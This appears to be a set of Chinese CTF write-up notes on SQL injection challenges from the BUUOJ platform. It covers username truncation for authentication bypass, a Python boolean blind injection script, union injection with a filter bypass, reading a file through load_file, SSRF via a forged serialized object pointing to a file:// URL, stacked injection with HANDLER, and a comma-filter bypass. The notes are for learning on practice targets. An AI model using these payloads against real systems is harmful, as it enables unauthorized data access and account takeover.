buuoj_sql
[FBCTF2019]Products Manager
一、知识点
1.数据库字符串比较
在数据库对字符串进行比较时,如果两个字符串的长度不一样,则会将较短的字符串末尾填充空格,使两个字符串的长度一致,比如,字符串A:[String]和字符串B:[String2]进行比较时,由于String2比String多了一个字符串,这时MySQL会将字符串A填充为[String ],即在原来字符串后面加了一个空格,使两个字符串长度一致。
如下两条查询语句:
select * from users where username='Dumb'
select * from users where username='Dumb '
它们的查询结果是一致的,即第二条查询语句中Dumb后面的空格并没有对查询有任何影响。因为在MySQL把查询语句里的username和数据库里的username值进行比较时,它们就是一个字符串的比较操作,符合上述特征。
2. INSERT截断
这是数据库的另一个特性,当设计一个字段时,我们都必须对其设定一个最大长度,比如CHAR(10),VARCHAR(20)等等。但是当实际插入数据的长度超过限制时,数据库就会将其进行截断,只保留限定的长度。
二、利用场景:
利用场景设在用户登陆的地方,假如有用户[Dumb],我们想要使用他的账号登陆,但是我们又不知道他的密码,那么我们可以注册一个名字叫[Dumb done]的用户,即在目标用户名的后面加一串空格(注意:空格后需再跟一个或多个任意字符,防止程序在检查用户名是否已存在时匹配到目标用户),空格的长度要超过数据库字段限制的长度,让其强制截断。注册该用户名后,由于截断的问题,此时我们的用户名就为:[Dumb ],即除了后面的一串空格,我们的用户名和目标用户名一样。
假如服务端的用户登陆代码为:
<?php $username = mysql_real_escape_string($_GET['username']); $password = mysql_real_escape_string($_GET['password']); $query = "SELECT username FROM users WHERE username='$username' AND password='$password' "; $res = mysql_query($query, $database); if($res) { if(mysql_num_rows($res) > 0){ return $username;//此处较原文有改动 } } return Null; ?>
从一般SQL注入的角度看,这段代码是不能注入的,但是当我们以目标用户名Dumb和我们自己注册用户的密码进行登陆时就可以绕过认证。当我们以用户名:[Dumb]和密码:[123456](假设)登陆时,对应的SQL语句就为:
SELECT username FROM users WHERE username='Dumb' AND password='123456'
当执行这条语句后,数据库将返回我们自己注册的账户信息,但是注意此处的return $username,虽然此时查询出来的是我们自己的用户信息,但是返回的用户名则是目标的用户名。如果此后的业务逻辑直接以该用户名为准,则我们就达到了水平越权的目的。
三、限制条件
1.服务端没有对用户名长度进行限制。如果服务端限制了用户名长度就不能导致数据库截断,也就没有利用条件。
2.登陆验证的SQL语句必须是用户名和密码一起验证。如果是验证流程是先根据用户名查找出对应的密码,然后再比对密码的话,那么也不能进行利用。因为当使用Dumb为用户名来查询密码的话,数据库此时就会返回两条记录,而一般取第一条则是目标用户的记录,那么你传输的密码肯定是和目标用户密码匹配不上的。
3.验证成功后返回的必须是用户传递进来的用户名,而不是从数据库取出的用户名。因为当我们以用户Dumb和密码123456登陆时,其实数据库返回的是我们自己的用户信息,而我们的用户名其实是[Dumb ],如果此后的业务逻辑以该用户名为准,那么就不能达到越权的目的了。
参考:https://www.freebuf.com/articles/web/124537.html
四、wp
题目提供了源码,可以看到flag在facebook用户这里,并且name长度的最大字节是64。
因为有64字节的长度,所以我们名字要大于64字节,例如facebook(很多空格)1,这个作为用户名进行注册,成功注册用户后,我们用facebook作为用户名和刚刚我们设置的密码进行查询。
得到flag。
[CISCN2019 华北赛区 Day2 Web1]Hack World
要毕业了最近有点忙,碎片时间刷刷题叭!
打开题目,是注入题目并且给了表名和列名
提交数字 1 或 2 的时候可以查询到数据,其他则报错
Hello, glzjin wants a girlfriend. Do you want to be my girlfriend?
进行 fuzz 测试,ascii、substr 没有被过滤
可以使用布尔盲注,搜一个脚本跑出结果
import requests
url = "http://64331eb8-edf6-4d8d-a661-ec45f52fe9ca.node3.buuoj.cn/index.php"
result = ""
num = 0 # 判断flag是否拼完整
for i in range(1, 60):
if num == 1:
break
for j in range(32, 128):
payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j)
data = {
"id": payload,
}
r = requests.post(url, data=data)
r.encoding = r.apparent_encoding
if "Hello" in r.text:
x = chr(j)
result += str(x)
print(result)
break
if "}" in result:
print(result)
num = 1
break
参考文章:
https://www.cnblogs.com/zzjdbk/p/13650826.html
[网鼎杯 2018]Fakebook
解法一
打开题目是这样的
首先扫一下目录扫到 flag.php(有可能存在 flag,但是访问后无内容)、robots.txt,访问 robots.txt 发现有一个 user.php.bak 的备份文件,下载源码稍后再审计。主页注册一个账号,登录后显示账号信息,点进用户名显示 username、age、blog 和一个 iframe 引入的用户填写的 blog 网址
url 处的 view.php?no=1,no 参数可能存在 sql 注入漏洞,页面上引入 blog 是用户可控的,那么也有可能会存在 ssrf 漏洞,先尝试手工注入
?no=1 and 1=1 //回显正常 ?no=1 and 1=2 //回显报错 ?no=1 order by 3 //正常 ?no=1 order by 4 //正常 ?no=1 order by 5 //报错,所以4列 ?no=-1 union select 1,2,3,4--+ //过滤union select ?no=-1 union/**/select 1,2,3,4--+ //绕过过滤
回显位是 username,并且绝对路径是 /var/www/html/view.php
接着尝试 sql 注入获取信息
?no=-1 union/**/select 1,database(),3,4--+ //数据库名fakebook ?no=-1 union/**/select 1,user(),3,4--+ //用户root@localhost
root 权限时,load_file() 函数可以利用绝对路径去加载一个文件,所以直接读 /var/www/html/flag.php 文件获得 flag
?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4--+
解法二
接着 sql 注入获取信息
?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()--+ //获得users表 ?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'--+ //获得一些字段
sql 注入查看 data 字段内容,是一段序列化后的 UserInfo 对象
?no=-1 union/**/select 1,group_concat(data),3,4 from users where no='1'--+
//O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:20:"http://www.baidu.com";}
查看扫目录时得到的源码 user.php.bak,源码中有一个 UserInfo 的类,主要功能是建立会话并判断是否是有效的请求,如果不是则返回 404,如果是则返回 url 的内容。get 方法中,curl_exec() 支持 file 协议,如果使用不当就会导致 ssrf 漏洞通过 file 协议读文件
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
所以思路为 sql 注入发现 data 字段存放的是用户信息经过反序列化的结果,结合前面 view.php 页面会加载用户的 blog 信息,所以这里有可能是利用反序化数据库中的 data 字段,然后取出 blog 并加载。在反序列化中构造 file 文件协议,内容如下
<?php
class UserInfo {
public $name = "a";
public $age = 1;
public $blog = "file:///var/www/html/flag.php";
}
$data = new UserInfo();
echo serialize($data);
?>
//O:8:"UserInfo":3:{s:4:"name";s:1:"a";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
select 1,2,3,4 的对应位置为 no,username,passwd,data,所以构造 payload 如下,iframe 内容 base64 解码后得到 flag
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+
参考文章:
https://www.abelche.com/2019/07/29/Writeup/WP-%E7%BD%91%E9%BC%8E%E6%9D%AF-2018-Fakebook/
https://www.cnblogs.com/junlebao/p/14104036.html
[GXYCTF2019]BabySQli
开局一个登录框,随便输点什么登录,再查看源代码发现一段 base 编码
base32 再 base64 解密后为
select * from user where username = '$name'
登录框再尝试一下发现存在 admin 用户,显示 wrong pass,再手注一下发现有三个字段,第二个字段是用户名
1' union select 1,2,3# 回显 wrong user 1' union select 1,'admin',3# 回显 wrong pass
看师傅们的博客说有 md5 提示,我没发现欸,那逻辑就是数据库密码字段的内容为 md5 加密的密码,知识点是在联合查询并不存在的数据时,就会构造一个虚拟的数据。用户名处输入 payload,密码处输入 123 即可获得 flag
明文:123 md5:202cb962ac59075b964b07152d234b70 payload:1' union select 1,'admin','202cb962ac59075b964b07152d234b70'#
[GYCTF2020]Blacklist
注入题目,先确定一下列数为2
1' order by 2#
尝试联合注入返回了过滤内容
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
考虑堆叠注入
1';show tables;# //查表 1';show columns from `FlagHere`;# //查列
HANDLER ... OPEN 语句打开一个表,使其可以使用后续 HANDLER ... READ 语句访问,该表对象未被其他会话共享,并且在会话调用 HANDLER ... CLOSE 或会话终止之前不会关闭
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
“百度杯”CTF比赛 九月场 SQLi
被大师傅问到了 sql 注入过滤逗号说不出,啊他好强我好菜,找了一道 ctf 题来学习一下,下文就是记笔记,题目来自百度杯的SQLi,题目链接 https://www.ichunqiu.com/battalion?t=1&r=54791
解题前面有些脑洞部分就不细说了,大概就是在下图这里发现了真实存在注入的页面
在网上学到两种绕过过滤的方式,其中一种是用 join 连接联合查询,查数据库名和版本号如下
?id=-1' union select * from (select database()) a join (select version()) b%23
查表名
?id=-1' union select * from (select table_name from information_schema.tables where table_schema='sqli') a join (select null) b%23
查列名
?id=-1' union select * from (select group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='users') a join (select null) b%23
查 flag_9c861b688330 字段的数据
?id=-1' union select * from (select flag_9c861b688330 from users) a join (select null) b%23
还有一种方式是时间盲注,使用 case when 代替 if
select case when (条件) then 代码1 else 代码2 end
再使用如下两种方式截取字符串,写脚本跑就好了
select substring ((select user()) from 1 for 1); #第一种方法 select substring ((select user()) from -1); #第二种方法
参考文章:
https://blog.csdn.net/qq_34444097/article/details/80253900
https://www.jianshu.com/p/082598908532